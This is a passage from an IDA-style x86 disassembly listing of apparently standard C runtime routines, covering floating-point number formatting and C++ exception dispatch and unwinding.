[eax] fstp [esp+18h+var_18] call sub_42074B mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_4206D4 add esp, 14h loc_41CADC: ; CODE XREF: sub_41CA71+22j ; sub_41CA71+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_41CAEA mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_41CAEA: ; CODE XREF: sub_41CA71+70j mov eax, [esi+4] test eax, eax jg short loc_41CB01 push 1 push edi call sub_41CC85 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_41CB03 ; --------------------------------------------------------------------------- loc_41CB01: ; CODE XREF: sub_41CA71+7Ej add edi, eax loc_41CB03: ; CODE XREF: sub_41CA71+8Ej test ebx, ebx jle short loc_41CB48 push 1 push edi call sub_41CC85 mov al, byte_4397B0 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_41CB48 cmp byte_48A084, 0 jz short loc_41CB2D neg esi jmp short loc_41CB33 ; --------------------------------------------------------------------------- loc_41CB2D: ; CODE XREF: sub_41CA71+B6j neg esi cmp ebx, esi jl short loc_41CB35 loc_41CB33: ; CODE XREF: sub_41CA71+BAj mov ebx, esi loc_41CB35: ; CODE XREF: sub_41CA71+C0j push ebx push edi call sub_41CC85 push ebx push 30h push edi call sub_417330 add esp, 14h loc_41CB48: ; CODE XREF: sub_41CA71+94j ; sub_41CA71+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_41CA71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CB4F proc near ; CODE XREF: sub_41CC34+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_42074B mov dword_48A080, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_48A088, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_4206D4 mov eax, dword_48A080 add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_48A088, ecx setl cl mov byte_48A08C, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_48A088, eax jl short loc_41CBD5 cmp eax, ebx jge short loc_41CBD5 test cl, cl jz short loc_41CBC6 loc_41CBBC: ; CODE XREF: sub_41CB4F+72j mov al, [esi] inc esi test al, al jnz short loc_41CBBC and [esi-2], al loc_41CBC6: ; CODE XREF: sub_41CB4F+6Bj push ebx push [ebp+arg_4] push edi call sub_41CC11 add esp, 0Ch jmp short loc_41CBE5 ; --------------------------------------------------------------------------- loc_41CBD5: ; CODE XREF: sub_41CB4F+63j ; sub_41CB4F+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_41CBEA add esp, 10h loc_41CBE5: ; CODE XREF: sub_41CB4F+84j pop edi pop esi pop ebx pop ebp retn sub_41CB4F endp ; =============== S U B R O U T I N E ======================================= sub_41CBEA proc near ; CODE XREF: sub_41CB4F+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_48A084, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41C96D and byte_48A084, 0 add esp, 10h retn sub_41CBEA endp ; =============== S U B R O U T I N E ======================================= sub_41CC11 proc near ; CODE XREF: sub_41CB4F+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_48A084, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41CA71 and byte_48A084, 0 add esp, 0Ch retn sub_41CC11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC34 proc near ; CODE XREF: sub_419E38+3AAp ; DATA XREF: sub_417D8Bo ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_41CC6F cmp [ebp+arg_8], 45h jz short loc_41CC6F cmp [ebp+arg_8], 66h jnz short loc_41CC5C push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41CA71 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_41CC5C: ; CODE XREF: sub_41CC34+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41CB4F jmp short loc_41CC80 ; --------------------------------------------------------------------------- loc_41CC6F: ; CODE XREF: sub_41CC34+7j ; sub_41CC34+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41C96D loc_41CC80: ; CODE XREF: sub_41CC34+39j add esp, 10h pop ebp retn sub_41CC34 endp ; =============== S U B R O U T I N E ======================================= sub_41CC85 proc near ; CODE XREF: sub_41C96D+2Cp ; sub_41CA71+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_41CCA8 push esi mov esi, [esp+8+arg_0] push esi call sub_417AB0 inc eax push eax push esi add esi, edi push esi call sub_4182C0 add esp, 10h pop esi loc_41CCA8: ; CODE XREF: sub_41CC85+7j pop edi retn sub_41CC85 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CCAA proc near ; CODE XREF: ___:00417F6Cp ; sub_417FD5+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_41CCC0 call sub_41D552 loc_41CCC0: ; CODE XREF: sub_41CCAA+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_41CCE8 cmp dword ptr [esi+4], 0 jz short loc_41CD3E cmp [ebp+arg_14], 0 jnz short loc_41CD3E push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_41CFF1 add esp, 10h jmp short loc_41CD3E ; --------------------------------------------------------------------------- loc_41CCE8: ; CODE XREF: sub_41CCAA+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_41CD3E cmp dword ptr [eax], 0E06D7363h jnz short loc_41CD22 cmp [eax+14h], edi jbe short loc_41CD22 mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_41CD22 movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_41CD41 ; --------------------------------------------------------------------------- loc_41CD22: ; CODE XREF: sub_41CCAA+4Aj ; sub_41CCAA+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_41CD45 add esp, 20h loc_41CD3E: ; CODE XREF: sub_41CCAA+23j ; sub_41CCAA+29j ... push 1 pop eax loc_41CD41: ; CODE XREF: sub_41CCAA+76j pop edi pop esi pop ebp retn sub_41CCAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CD45 proc near ; CODE XREF: sub_41CCAA+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_41CD65 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_41CD6A loc_41CD65: ; CODE XREF: sub_41CD45+16j call sub_41D552 loc_41CD6A: ; CODE XREF: sub_41CD45+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_41CEC1 cmp dword ptr [esi+10h], 3 jnz short loc_41CDDE cmp [esi+14h], edi jnz short loc_41CDDE cmp dword ptr [esi+1Ch], 0 jnz short loc_41CDDE mov esi, dword_48A090 test esi, esi jz loc_41CEBC mov eax, dword_48A094 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_4208D2 pop ecx test eax, eax pop ecx jnz short loc_41CDC0 call sub_41D552 loc_41CDC0: ; CODE XREF: sub_41CD45+74j cmp [esi], ebx jnz loc_41CEC1 cmp dword ptr [esi+10h], 3 jnz short loc_41CDDE cmp [esi+14h], edi jnz short loc_41CDDE cmp dword ptr [esi+1Ch], 0 jnz short loc_41CDDE call sub_41D552 loc_41CDDE: ; CODE XREF: sub_41CD45+41j ; sub_41CD45+46j ... cmp [esi], ebx jnz loc_41CEC1 cmp dword ptr [esi+10h], 3 jnz loc_41CEC1 cmp [esi+14h], edi jnz loc_41CEC1 mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_418123 add esp, 14h mov ebx, eax loc_41CE15: ; CODE XREF: sub_41CD45+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_41CEAC cmp [ebx], edi jg short loc_41CEA1 cmp edi, [ebx+4] jg short loc_41CEA1 mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_41CE9E loc_41CE3A: ; CODE XREF: sub_41CD45+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_41CE6B loc_41CE4C: ; CODE XREF: sub_41CD45+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_41CF94 add esp, 0Ch test eax, eax jnz short loc_41CE7A dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_41CE4C loc_41CE6B: ; CODE XREF: sub_41CD45+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_41CE3A jmp short loc_41CE9E ; --------------------------------------------------------------------------- loc_41CE7A: ; CODE XREF: sub_41CD45+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_41D0A5 ; --------------------------------------------------------------------------- add esp, 2Ch loc_41CE9E: ; CODE XREF: sub_41CD45+F3j ; sub_41CD45+133j mov edi, [ebp+var_10] loc_41CEA1: ; CODE XREF: sub_41CD45+DEj ; sub_41CD45+E3j inc [ebp+var_4] add ebx, 14h jmp loc_41CE15 ; --------------------------------------------------------------------------- loc_41CEAC: ; CODE XREF: sub_41CD45+D6j cmp [ebp+arg_14], 0 jz short loc_41CEBC push 1 push esi call sub_41D41A pop ecx pop ecx loc_41CEBC: ; CODE XREF: sub_41CD45+56j ; sub_41CD45+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41CEC1: ; CODE XREF: sub_41CD45+37j ; sub_41CD45+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_41CEE7 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_41CEEC add esp, 20h jmp short loc_41CEBC ; --------------------------------------------------------------------------- loc_41CEE7: ; CODE XREF: sub_41CD45+180j jmp sub_41D4FC sub_41CD45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CEEC proc near ; CODE XREF: sub_41CD45+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_48A098, 0 push esi push edi jz short loc_41CF1D push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_417FFA add esp, 1Ch test eax, eax jnz short loc_41CF90 loc_41CF1D: ; CODE XREF: sub_41CEEC+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_418123 add esp, 14h mov esi, eax loc_41CF39: ; CODE XREF: sub_41CEEC+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_41CF90 cmp edi, [esi] jl short loc_41CF88 cmp edi, [esi+4] jg short loc_41CF88 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_41CF62 cmp byte ptr [ecx+8], 0 jnz short loc_41CF88 loc_41CF62: ; CODE XREF: sub_41CEEC+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41D0A5 ; --------------------------------------------------------------------------- add esp, 2Ch loc_41CF88: ; CODE XREF: sub_41CEEC+57j ; sub_41CEEC+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_41CF39 ; --------------------------------------------------------------------------- loc_41CF90: ; CODE XREF: sub_41CEEC+2Fj ; sub_41CEEC+53j pop edi pop esi leave retn sub_41CEEC endp ; =============== S U B R O U T I N E ======================================= sub_41CF94 proc near ; CODE XREF: sub_41CD45+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_41CFEB cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_41CFEB mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_41CFC5 add ecx, 8 push ecx push edx call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_41CFE7 loc_41CFC5: ; CODE XREF: sub_41CF94+1Fj test byte ptr [esi], 2 jz short loc_41CFCF test byte ptr [edi], 8 jz short loc_41CFE7 loc_41CFCF: ; CODE XREF: sub_41CF94+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_41CFDE test byte ptr [edi], 1 jz short loc_41CFE7 loc_41CFDE: ; CODE XREF: sub_41CF94+43j test al, 2 jz short loc_41CFEB test byte ptr [edi], 2 jnz short loc_41CFEB loc_41CFE7: ; CODE XREF: sub_41CF94+2Fj ; sub_41CF94+39j ... xor eax, eax jmp short loc_41CFEE ; --------------------------------------------------------------------------- loc_41CFEB: ; CODE XREF: sub_41CF94+Bj ; sub_41CF94+14j ... push 1 pop eax loc_41CFEE: ; CODE XREF: sub_41CF94+55j pop edi pop esi retn sub_41CF94 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CFF1 proc near ; CODE XREF: sub_41CCAA+34p ; ___:0041D0E7p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424860 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_41D023: ; CODE XREF: sub_41CFF1+8Aj cmp esi, [ebp+arg_C] jz short loc_41D07D cmp esi, 0FFFFFFFFh jle short loc_41D032 cmp esi, [edi+4] jl short loc_41D037 loc_41D032: ; CODE XREF: sub_41CFF1+3Aj call sub_41D552 loc_41D037: ; CODE XREF: sub_41CFF1+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_41D052 push 103h push ebx push eax call sub_41D4B0 loc_41D052: ; CODE XREF: sub_41CFF1+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_41D072 ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_41D08F pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_41D072: ; CODE XREF: sub_41CFF1+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_41D023 ; --------------------------------------------------------------------------- loc_41D07D: ; CODE XREF: sub_41CFF1+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41CFF1 endp ; =============== S U B R O U T I N E ======================================= sub_41D08F proc near ; CODE XREF: sub_41CFF1+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_41D0A0 xor eax, eax retn ; --------------------------------------------------------------------------- loc_41D0A0: ; CODE XREF: sub_41D08F+Cj jmp sub_41D4FC sub_41D08F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41D0A5 proc near ; CODE XREF: sub_41CD45+151p ; sub_41CEEC+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_41D0C7 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_41D256 add esp, 10h loc_41D0C7: ; CODE XREF: sub_41D0A5+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_41D0D3 push edi jmp short loc_41D0D6 ; --------------------------------------------------------------------------- loc_41D0D3: ; CODE XREF: sub_41D0A5+29j push [ebp+arg_24] loc_41D0D6: ; CODE XREF: sub_41D0A5+2Cj call sub_417EFC sub_41D0A5 endp ; --------------------------------------------------------------------------- mov esi, [ebp+24h] push dword ptr [esi] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push edi call sub_41CFF1 mov eax, [esi+4] push 100h push dword ptr [ebp+28h] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push dword ptr [ebp+18h] push dword ptr [ebp+10h] push edi push dword ptr [ebp+8] call sub_41D120 add esp, 2Ch test eax, eax jz short loc_41D11B push edi push eax call sub_417EBA loc_41D11B: ; CODE XREF: ___:0041D112j pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D120 proc near ; CODE XREF: ___:0041D108p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424870 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_48A090 mov [ebp+var_1C], ecx mov ecx, dword_48A094 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_48A090, edi mov ecx, [ebp+arg_8] mov dword_48A094, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_417F81 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_41D1E6 mov eax, [ebp+var_2C] loc_41D1AD: ; CODE XREF: sub_41D1C6+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41D120 endp ; =============== S U B R O U T I N E ======================================= sub_41D1BC proc near ; DATA XREF: ___:00424880o push dword ptr [ebp-14h] call sub_41D22C pop ecx retn sub_41D1BC endp ; =============== S U B R O U T I N E ======================================= sub_41D1C6 proc near ; DATA XREF: ___:00424884o mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_4181E2 pop ecx pop ecx xor eax, eax jmp short loc_41D1AD sub_41D1C6 endp ; --------------------------------------------------------------------------- loc_41D1DE: ; DATA XREF: ___:00424878o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_41D1E6 proc near ; CODE XREF: sub_41D120+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_48A090, eax mov eax, [ebp-20h] mov dword_48A094, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_41D22B cmp dword ptr [edi+10h], 3 jnz short locret_41D22B cmp dword ptr [edi+14h], 19930520h jnz short locret_41D22B cmp [ebp-24h], ebx jnz short locret_41D22B cmp [ebp-2Ch], ebx jz short locret_41D22B call sub_41824A push eax push edi call sub_41D41A pop ecx pop ecx locret_41D22B: ; CODE XREF: sub_41D1E6+1Cj ; sub_41D1E6+22j ... retn sub_41D1E6 endp ; =============== S U B R O U T I N E ======================================= sub_41D22C proc near ; CODE XREF: sub_41D1BC+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_41D253 cmp dword ptr [eax+10h], 3 jnz short loc_41D253 cmp dword ptr [eax+14h], 19930520h jnz short loc_41D253 cmp dword ptr [eax+1Ch], 0 jnz short loc_41D253 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41D253: ; CODE XREF: sub_41D22C+Cj ; sub_41D22C+12j ... xor eax, eax retn sub_41D22C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D256 proc near ; CODE XREF: sub_41D0A5+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424888 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_41D3FF cmp byte ptr [eax+8], 0 jz loc_41D3FF mov eax, [ecx+8] test eax, eax jz loc_41D3FF mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_41D2F3 mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_4208D2 pop ecx pop ecx test eax, eax jz loc_41D3F6 push 1 push edi call sub_4208EE pop ecx pop ecx test eax, eax jz loc_41D3F6 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_41D2E4: ; CODE XREF: sub_41D256+F5j push eax call sub_41D481 pop ecx pop ecx mov [edi], eax jmp loc_41D3FB ; --------------------------------------------------------------------------- loc_41D2F3: ; CODE XREF: sub_41D256+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_41D34D mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_4208D2 pop ecx pop ecx test eax, eax jz loc_41D3F6 push 1 push edi call sub_4208EE pop ecx pop ecx test eax, eax jz loc_41D3F6 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_4182C0 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_41D3FB mov eax, [edi] test eax, eax jz loc_41D3FB add esi, 8 push esi jmp short loc_41D2E4 ; --------------------------------------------------------------------------- loc_41D34D: ; CODE XREF: sub_41D256+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_41D395 call sub_4208D2 pop ecx pop ecx test eax, eax jz loc_41D3F6 push 1 push edi call sub_4208EE pop ecx pop ecx test eax, eax jz short loc_41D3F6 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_41D481 pop ecx pop ecx push eax push edi call sub_4182C0 add esp, 0Ch jmp short loc_41D3FB ; --------------------------------------------------------------------------- loc_41D395: ; CODE XREF: sub_41D256+103j call sub_4208D2 pop ecx pop ecx test eax, eax jz short loc_41D3F6 push 1 push edi call sub_4208EE pop ecx pop ecx test eax, eax jz short loc_41D3F6 push dword ptr [esi+18h] call sub_42090A pop ecx test eax, eax jz short loc_41D3F6 test byte ptr [esi], 4 jz short loc_41D3DC push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_41D481 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_417EF5 jmp short loc_41D3FB ; --------------------------------------------------------------------------- loc_41D3DC: ; CODE XREF: sub_41D256+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_41D481 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_417EEE jmp short loc_41D3FB ; --------------------------------------------------------------------------- loc_41D3F6: ; CODE XREF: sub_41D256+6Aj ; sub_41D256+7Cj ... call sub_41D552 loc_41D3FB: ; CODE XREF: sub_41D256+98j ; sub_41D256+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_41D3FF: ; CODE XREF: sub_41D256+2Ej ; sub_41D256+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41D256 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41D4FC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D41A proc near ; CODE XREF: sub_41CD45+170p ; sub_41D1E6+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424898 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_41D461 mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_41D461 and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_417EEE or [ebp+var_4], 0FFFFFFFFh loc_41D461: ; CODE XREF: sub_41D41A+2Aj ; sub_41D41A+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41D41A endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41D4FC ; =============== S U B R O U T I N E ======================================= sub_41D481 proc near ; CODE XREF: sub_41D256+8Fp ; sub_41D256+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_41D4A2 mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_41D4A2: ; CODE XREF: sub_41D481+12j pop esi retn sub_41D481 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D4B0 proc near ; CODE XREF: sub_417F81+40p ; sub_41CFF1+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41826D push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_41D4EF mov ecx, 2 loc_41D4EF: ; CODE XREF: sub_41D4B0+38j push ecx call sub_41826D pop ebp pop ecx pop ebx leave retn 0Ch sub_41D4B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D4FC proc near ; CODE XREF: sub_41CD45:loc_41CEE7j ; sub_41D08F:loc_41D0A0j ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00420922 SIZE 00000017 